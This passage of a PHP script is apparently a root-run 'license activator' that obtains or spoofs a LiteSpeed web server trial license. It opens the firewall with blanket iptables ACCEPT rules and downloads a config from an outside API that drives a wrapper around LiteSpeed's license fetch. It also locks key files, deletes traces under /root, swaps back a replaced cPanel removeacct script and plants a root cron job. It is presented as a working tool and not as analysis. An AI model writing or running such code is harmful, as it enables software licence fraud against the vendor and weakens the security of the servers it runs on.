                exec("iptables -I INPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -P INPUT ACCEPT > /dev/null 2>&1");
                exec("iptables -P FORWARD ACCEPT > /dev/null 2>&1");
                exec("iptables -P OUTPUT ACCEPT > /dev/null 2>&1");
                $ofi = 1;
                while( $ofi <= 10 ) 
                {
                    exec("comp0 -i /var/www/html/trial.key > /dev/null 2>&1");
                    exec("rm -rf /var/www/html/trial.key > /dev/null 2>&1");
                    exec("chmod +x /usr/local/lsws/bin/lswsctrl > /dev/null 2>&1");
                    exec("comp0 -i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                    exec("wget -O /usr/local/GBLSWS/.tmp/sys.conf2 https://api.begpl.com/api/change2?key=' . $key . ' > /dev/null 2>&1");
                    exec("sed -e 's/<[^>]*>//g' /usr/local/GBLSWS/.tmp/sys.conf2 > /usr/local/GBLSWS/.tmp/sys.conf3");
                    exec("/usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                    exec("timeout 20s /usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 /usr/local/lsws/bin/lswsctrl start > /usr/local/GBLSWS/.outlsws 2>&1");
                    $file3 = file_get_contents("/usr/local/GBLSWS/.outlsws");
                    $pos = strpos($file3, "Updated license key has been created at");
                    if( $pos !== false ) 
                    {
                        echo "OK";
                        exec("cat /usr/local/GBLSWS/.tmp/sys.conf3 > /usr/local/GBLSWS/.key2");
                        $license = file_get_contents("/usr/local/GBLSWS/.key2");
                        $license = @trim(@soft_encode($license));
                        if( substr($license, 0, 5) == "<?php" ) 
                        {
                            $license = substr($license, 5);
                        }

                        if( substr($license, -2) == "?>" ) 
                        {
                            $license = substr($license, 0, strlen($license) - 2);
                        }

                        $new = "/usr/local/GBLSWS/.key2";
                        file_put_contents($new, $license);
                        exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/GBLSWS/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("csf -e > /dev/null 2>&1");
                        exec("service iptables start > /dev/null 2>&1");
                        exec("service firewalld start > /dev/null 2>&1");
                        exec("rm -rf /usr/local/GBLSWS/.tmp/sys.conf2 > /dev/null 2>&1");
                        exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                        $ofi = 10;
                        echo "\x1B[32m\n\nLiteSpeed has been started...\x1B[0m\n";
                    }

                    $ofi++;
                }
                $file3 = file_get_contents("/usr/local/GBLSWS/.outlsws");
                $pos = strpos($file3, "Updated license key has been created at");
                if( $pos == false ) 
                {
                    echo "Failed\x1B[31m\n New config has been downloaded, please try again.\x1B[0m\n";
                }

            }

            exec("rm -rf /usr/local/GBLSWS/.outlsws > /dev/null 2>&1");
            exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
            exec("rm -rf /usr/local/GBLSWS/.tmp/sys.conf2 > /dev/null 2>&1");
            exec("rm -rf /usr/local/GBLSWS/.tmp/sys.conf3 > /dev/null 2>&1");
            exec("rm -rf /root/GBLSWS.lock > /dev/null 2>&1");
        }

    }
    else
    {
        echo "\r\n\x1B[31m Your License has been suspended. Connect to support via " . $domain_show . " \x1B[0m\r\n";
        if( file_exists("/scripts/removeacct_isback") ) 
        {
            exec("yes | cp -rf /scripts/removeacct_isback /scripts/removeacct > /dev/null 2>&1");
        }

        exec("/usr/bin/comp0 /root/.backdrive/trial.key &>/dev/null; rm -rf /root/.backdrive/trial.key > /dev/null 2>&1");
        exec("/usr/bin/comp0 /usr/local/lsws/conf/trial.key &>/dev/null; rm -rf /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
        exec("service lsws stop > /dev/null 2>&1");
        exec("rm -rf ~/.sysma/auto");
        echo "***" . $get2;
    }

}
else
{
    echo "LiteSpeed is not installed. submit a ticket on " . $domain_show . " for more help.";
}

if ($action == 'install') {
	if (!file_exists('/usr/local/lsws')) {
		install_software();
		echo "\n";
		echo "\n";

		if (!file_exists('/usr/local/lsws')) {
			printf("\x1b" . '[31mInstallation Status FAILED ' . "\x1b" . '[0m ' . "\n");
			$installed = false;
			$status = false;
		}
		else {
			printf("\x1b" . '[32mInstallation Status OK ' . "\x1b" . '[0m ' . "\n");
			$installed = true;
			$status = true;
		}
	}

	echo "\n";
	echo "\n";
}

if (!file_exists('/usr/local/lsws')) {
	     echo 'LiteSpeed License Activated!';
		 echo "\n";
		 
} else {
    echo 'LiteSpeed License Activated!';
	echo "\n";
}
$cronjob = 'PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin' . "\r\n\r\n" . '* 6 * * * * root /usr/bin/' . $key_cmd . 'licensels2 >/dev/null 2>&1' . "\r\n";
system('printf \'' . $cronjob . '\' > /etc/cron.d/licensels2');
system('sed -i -e "s/\\r//g" /etc/cron.d/licensels2');
?>